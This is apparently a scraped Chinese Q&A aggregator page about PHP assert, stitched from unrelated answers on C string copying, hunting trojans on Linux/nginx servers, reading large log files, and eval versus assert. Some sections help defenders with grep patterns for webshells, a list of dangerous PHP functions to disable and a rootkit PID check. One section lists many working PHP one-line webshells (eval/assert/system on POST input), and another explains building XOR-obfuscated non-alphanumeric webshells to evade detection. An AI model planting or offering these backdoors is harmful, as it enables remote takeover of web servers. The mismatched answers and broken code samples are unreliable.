当前位置:首页 » 编程语言 » phpassert

phpassert

发布时间: 2022-04-16 07:38:44

php中的防御性编程怎么写

#include<assert.h>char* strcpy(char* strDest, char* strSource)
{
int size1,size2;
size1=strlen(strDest);//也可用while判断到'\0',size1++;
size2=strlen(strSource);//同上
assert((strDest != NULL) && (strSource != NULL)&& (size1>=size2)); // 防御主要在于使用断言,必须都是非空指针,而且Dest长度大于等于Source的长度才能继续执行函数
byte *pbTo = (byte *) strDest; // 防止改变strDest 的地址
byte *pbFrom = (byte *) strSource; // 防止改变strSource 的地址
while(size1-- > 0 )
*pbTo ++ = *pbFrom ++ ;
*pbTo='\0';
return strDest;
}

Ⅱ assert php 5支持吗

//容错代码 //使用Lanker一句话客户端的专家模式执行相关的PHP语句 /*使用这个后,使用菜刀一句话客户端在 配置连接的时候在"配置"一栏输入*/:h=@eval_r($_POST1); //绕过

Ⅲ 如何查linux的nginx是否被挂马

linux系统相对比windows安全,但是有些程序上的不安全行为。不管你是什么系统,一样也会存在危险因素,在这里,我们总结出了linux系统下的一些常见排除木马和加固系统安全性的方法。

1、改变目录和文件属性,禁止写入
find -type f -name \*.php -exec chmod 444 {} \;
find -type d -exec chmod 555 {} \;

注:当然要排除上传目录、缓存目录等;
同时最好禁止chmod函数,攻击者可通过chmod来修改文件只读属性再修改文件

2、php的危险配置
禁用一些危险的php函数,例如:

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,
ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,escapeshellcmd,popen,dl,
syslog,show_source

3、nginx安全方面的配置

限制一些目录执行php文件

location~^/images/.*\.(php|php5)$
{
denyall;
}

location~^/static/.*\.(php|php5)$
{
denyall;
}

location~*^/data/(attachment|avatar)/.*\.(php|php5)$
{
denyall;
}

注:这些目录的限制必须写在

location~.*\.(php|php5)$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}

的前面,否则限制不生效!
path_info漏洞修正:
在通用fcgi.conf顶部加入

if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 404;
}

4、linux系统下查找php的相关木马

php木马一般含有<?php eval($_POST[cmd]);?>或者<?php assert($_POST[cmd]);?>

find /data/wwwroot/* -type f -name "*.php" |xargs grep "eval(" > /root/scan.txt

另外也有上传任意文件的后门,可以用上面的方法查找所有包括"move_uploaded_file"的文件.

还有常见的一句话后门:

grep -r --include=*.php '[^a-z]eval($_POST' . > grep.txt
grep -r --include=*.php 'file_put_contents(.*$_POST\[.*\]);' . > grep.txt

把搜索结果写入文件,下载下来慢慢分析,其他特征木马、后门类似。有必要的话可对全站所有文件来一次特征查找,上传图片肯定有也捆绑的,来次大清洗。

5、查找近3天被修改过的文件:

find /data/www -mtime -3 -type f -name \*.php

注意:攻击者可能会通过touch函数来修改文件时间属性来避过这种查找,所以touch必须禁止

6、查找所有图片文件

查找所有图片文件gif,jpg.有些图片内容里被添加了php后门脚本.有些实际是一个php文件,将扩展名改成了gif了.正常查看的情况下也可以看到显示的图片内容的.这一点很难发现.

曾给客户处理过这类的木马后门的.发现在php脚本里include一个图片文件,经过查看图片文件源代码,发现竟然是php脚本.

好了。安全加固你的php环境是非常重要的运维工作,大家还有什么其他加固安全的好方法,可以拿过来分享一下。

提示:如果上面显示空白或者页面排版混乱、内容显示不完整等影响阅读的问题,请点击这儿浏览原文

返回脚本百事通首页 如果您喜欢脚本编程技术,欢迎加入QQ群:246889341,在群里认识新朋友和交流技术^_^
Linux下查找后门程序
每个进程都会有一个PID,而每一个PID都会在/proc目录下有一个相应的目录,这是Linux(当前内核2.6)系统的实现。

一般后门程序,在ps等进程查看工具里找不到,因为这些常用工具甚至系统库在系统被入侵之后基本上已经被动过手脚(网上流传着大量的rootkit。假如是内核级的木马,那么该方法就无效了)。
因为修改系统内核相对复杂(假如内核被修改过,或者是内核级的木马,就更难发现了),所以在/proc下,基本上还都可以找到木马的痕迹。

思路:
在/proc中存在的进程ID,在 ps 中查看不到(被隐藏),必有问题。
Bash Shell:
#!/bin/bash
str_pids="`ps -A | awk '{print $1}'`"
for i in /proc/[[:digit:]]*; do
if echo "$str_pids" | grep -qs `basename "$i"`; then
:
else
echo "Rootkit's PID: $(basename "$i")"
fi
done

讨论:
检查系统(Linux)是不是被黑,其复杂程度主要取决于入侵者“扫尾工作”是否做得充足。对于一次做足功课的入侵来说,要想剔除干净,将是一件分精密、痛苦的事情,通常这种情况,需要用专业的第三方的工具(有开源的,比如tripwire,比如aide)来做这件事情。
而专业的工具,部署、使用相对比较麻烦,也并非所有的管理员都能熟练使用。

实际上Linux系统本身已经提供了一套“校验”机制,在检查系统上的程序没有被修改。比如rpm包管理系统提供的 -V 功能:
rpm -Va
即可校验系统上所有的包,输出与安装时被修改过的文件及相关信息。但是rpm系统也可能被破坏了,比如被修改过。

Ⅳ PHP编程题

在php中,对于文件的读取时,最快捷的方式莫过于使用一些诸如file、file_get_contents之类的函数,简简单单的几行代码就能很漂亮的完成我们所需要的功能。但当所操作的文件是一个比较大的文件时,这些函数可能就显的力不从心, 下面将从一个需求入手来说明对于读取大文件时,常用的操作方法。
需求

有一个800M的日志文件,大约有500多万行, 用php返回最后几行的内容。

实现方法

1. 直接采用file函数来操作

注:由于 file函数是一次性将所有内容读入内存,而php为了防止一些写的比较糟糕的程序占用太多的内存而导致系统内存不足,使服务器出现宕机,所以默认情况下限制只能最大使用内存16M,这是通过php.ini里的memory_limit = 16M来进行设置,这个值如果设置-1,则内存使用量不受限制.

下面是一段用file来取出这具文件最后一行的代码.
整个代码执行完成耗时 116.9613 (s).

$fp = fopen($file, "r");
$num = 10;
$chunk = 4096;
$fs = sprintf("%u", filesize($file));
$max = (intval($fs) == PHP_INT_MAX) ? PHP_INT_MAX : filesize($file);
for ($len = 0; $len < $max; $len += $chunk) {
$seekSize = ($max - $len > $chunk) ? $chunk : $max - $len;
fseek($fp, ($len + $seekSize) * -1, SEEK_END);
$readData = fread($fp, $seekSize) . $readData;

if (substr_count($readData, "n") >= $num + 1) {
preg_match("!(.*?n){".($num)."}$!", $readData, $match);
$data = $match[0];
break;
}
}
fclose($fp);
echo $data;

我机器是2个G的内存,当按下F5运行时,系统直接变灰,差不多20分钟后才恢复过来,可见将这么大的文件全部直接读入内存,后果是多少严重,所以不在万不得以,memory_limit这东西不能调得太高,否则只有打电话给机房,让reset机器了.

2.直接调用linux的tail命令来显示最后几行

在linux命令行下,可以直接使用tail -n 10 access.log很轻易的显示日志文件最后几行,可以直接用php来调用tail命令,执行php代码如下.
整个代码执行完成耗时 0.0034 (s)

file = 'access.log';
$file = escapeshellarg($file); // 对命令行参数进行安全转义
$line = `tail -n 1 $file`;
echo $line;

3. 直接使用php的fseek来进行文件操作

这种方式是最为普遍的方式,它不需要将文件的内容全部读入内容,而是直接通过指针来操作,所以效率是相当高效的.在使用fseek来对文件进行操作时,也有多种不同的方法,效率可能也是略有差别的,下面是常用的两种方法.

方法一
首先通过fseek找到文件的最后一位EOF,然后找最后一行的起始位置,取这一行的数据,再找次一行的起始位置,再取这一行的位置,依次类推,直到找到了$num行。
实现代码如下
整个代码执行完成耗时 0.0095 (s)

function tail($fp,$n,$base=5)
{
assert($n>0);
$pos = $n+1;
$lines = array();
while(count($lines)< =$n){
try{
fseek($fp,-$pos,SEEK_END);
} catch (Exception $e){
fseek(0);
break;
}
$pos *= $base;
while(!feof($fp)){
array_unshift($lines,fgets($fp));
}
}
return array_slice($lines,0,$n);
}
var_mp(tail(fopen("access.log","r+"),10));

方法二
还是采用fseek的方式从文件最后开始读,但这时不是一位一位的读,而是一块一块的读,每读一块数据时,就将读取后的数据放在一个buf里,然后通过换行符(n)的个数来判断是否已经读完最后$num行数据.
实现代码如下
整个代码执行完成耗时 0.0009(s).

$fp = fopen($file, "r");
$line = 10;
$pos = -2;
$t = " ";
$data = "";
while ($line > 0) {
while ($t != "n") {
fseek($fp, $pos, SEEK_END);
$t = fgetc($fp);
$pos --;
}
$t = " ";
$data .= fgets($fp);
$line --;
}
fclose ($fp);
echo $data

方法三
整个代码执行完成耗时 0.0003(s)

ini_set('memory_limit','-1');
$file = 'access.log';
$data = file($file);
$line = $data[count($data)-1];
echo $line;
php压缩HTML函数轻松实现压缩html/js/Css及注意事项 phpexcel导出excel的颜色和网页中的颜色显示不一致

Ⅳ php中eval和assert的区别

assert():
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
例如
<?php
$s =123;
assert("is_int($s)");
?>
从这个例子可以看到字符串参数会被执行,这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的$code_str。assert的用法却更详细一点。
assert_option()可以用来对assert()进行一些约束和控制;
如果按照默认值来,在程序的运行过程中调用assert()来进行判断表达式,遇到false时程序也是会继续执行的,这在生产环境中这样使用是不好的,而 在开发调试环境中,却是一种debug的不错的方式。特别是用上callback的方法,可以知道具体的出错信息。
所以,php的官方文档里头是建议将assert用来进行debug,我们可以发现还有一个开关ASSERT_ACTIVE可以用来控制是否开启debug。
现在问题就产生了,如果程序员在开发的时候在代码中留下了很多assert(),然后在程序发布的时候关闭执行,设置assert_options(ASSERT_ACTIVE,0);这样做是否可行?有没有安全问题?
我的建议是,既然assert主要作用是debug,就不要在程序发布的时候还留着它。在程序中用assert来对表达进行判断是不明智的,原因上文说了, 一个是在生产环境中assert可能被disabled,所以assert不能被完全信任;二是assert()可以被继续执行;而如果在生产环境让ASSERT_ACTIVE=1,那这个表达式字符串可以被执行本身就存在安全隐患。
eval():该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。

注意:1.eval()里必须是字符串;2.eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str;
定义和用法:
(1)eval() 函数把字符串按照 PHP 代码来计算(计算=执行)。
(2)该字符串必须是合法的 PHP 代码,且必须以分号结尾。
(3)如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

Ⅵ PHP判断链表是否有环

判断是否带环:用快慢指针。快指针每走两步,慢指针走一步,如果两者在某个点处相。

遇,则链表带环。

下边给出函数的实现代码:

typedef struct LinkNode{DataType data;struct LinkNode *next;}LinkNode,*pLinkNode;typedef struct LinkList{LinkNode *pHead;}LinkList,*pLinkList;pLinkNode isCircle(pLinkList plist){assert(plist);if (NULL == plist->pHead){printf("链表为空 ");return NULL;}pLinkNode fast = plist->pHead;pLinkNode slow = plist->pHead;while (fast && fast->next){fast = fast->next->next;slow = slow->next;if (fast == slow)return fast;}return NULL;}


如果

如果链表带环,看下边的图:

代码:

pLinkNode firstCrossNode(pLinkList plist){assert(plist);if (NULL == plist->pHead){printf("链表是空 ");return NULL;}pLinkNode ret = isCircle(plist);if (ret == NULL){printf("链表不带环 ");return NULL;}pLinkNode fast = plist->pHead;pLinkNode slow = ret;while (fast){fast = fast->next;slow = slow->next;if (fast == slow)return fast;}}

Ⅶ php assert是不是内置函数

你好,是的。此类问题直接网络搜索 php assert 就能看到php官方手册有这个函数。http://php.net/manual/zh/function.assert.php

Ⅷ 一个有意思的 PHP 一句话后门,怎么破

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容错代码
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php

@preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在
配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>
//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>

Ⅸ 如何通过非数字与字符的方式实现PHP WebShell详解

通过一系列字符变换最终利用非字母和非数字字符构建出webshell,然后使用PHP的动态函数(例如“assert”)来完成函数名的拼接,最后动态执行构建出来的代码。

所以,转换方法就是解决这一问题的重点了。但是在开始之前,我需要跟大家讨论以下php5和php7之间的区别。

php5的断言(assert)是通过函数实现的,我们可以使用$f='assert';$f(…);这种方法来动态执行任意代码。但是在php7中,断言已经不再是一个函数了,而是一种语言结构(类似eval),而且断言(assert)也无法再作为函数名来实现代码的动态执行了,所以对于php7来说,问题可能会变得更加复杂了。不过各位也不用太过担心,因为我们可以使用
file_put_contents函数来达到我们的目的。

为了方便起见,本文的实验环境使用的是php5,关于php7的利用方式就请各位自行去探索啦:D

方法一

这是一种最简单的方法了。在php中,我们可以通过异或运算(XOR)来得到一个或两个字符串。因此,如果我们想要得到一个a-z之间的英文字符,我们就可以通过两个非字母字符和字符数来生成所需要的字母字符。示例代码如下:

?1

2

3

4

5

6

7

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析结果如下:

热点内容
云端的服务器怎么设置ip 发布:2025-01-21 17:48:52 浏览:185
会议脚本 发布:2025-01-21 17:41:29 浏览:22
android的toast 发布:2025-01-21 17:41:28 浏览:8
linux默认安装的mysql 发布:2025-01-21 17:40:08 浏览:911
java输出数据库 发布:2025-01-21 17:35:38 浏览:962
帧缓存的精度 发布:2025-01-21 17:35:02 浏览:656
家用智能配置有哪些 发布:2025-01-21 17:03:31 浏览:696
vivoy70t和u3x配置哪个好 发布:2025-01-21 16:55:00 浏览:734
存储器加密 发布:2025-01-21 16:49:05 浏览:914
phpif循环 发布:2025-01-21 16:40:36 浏览:881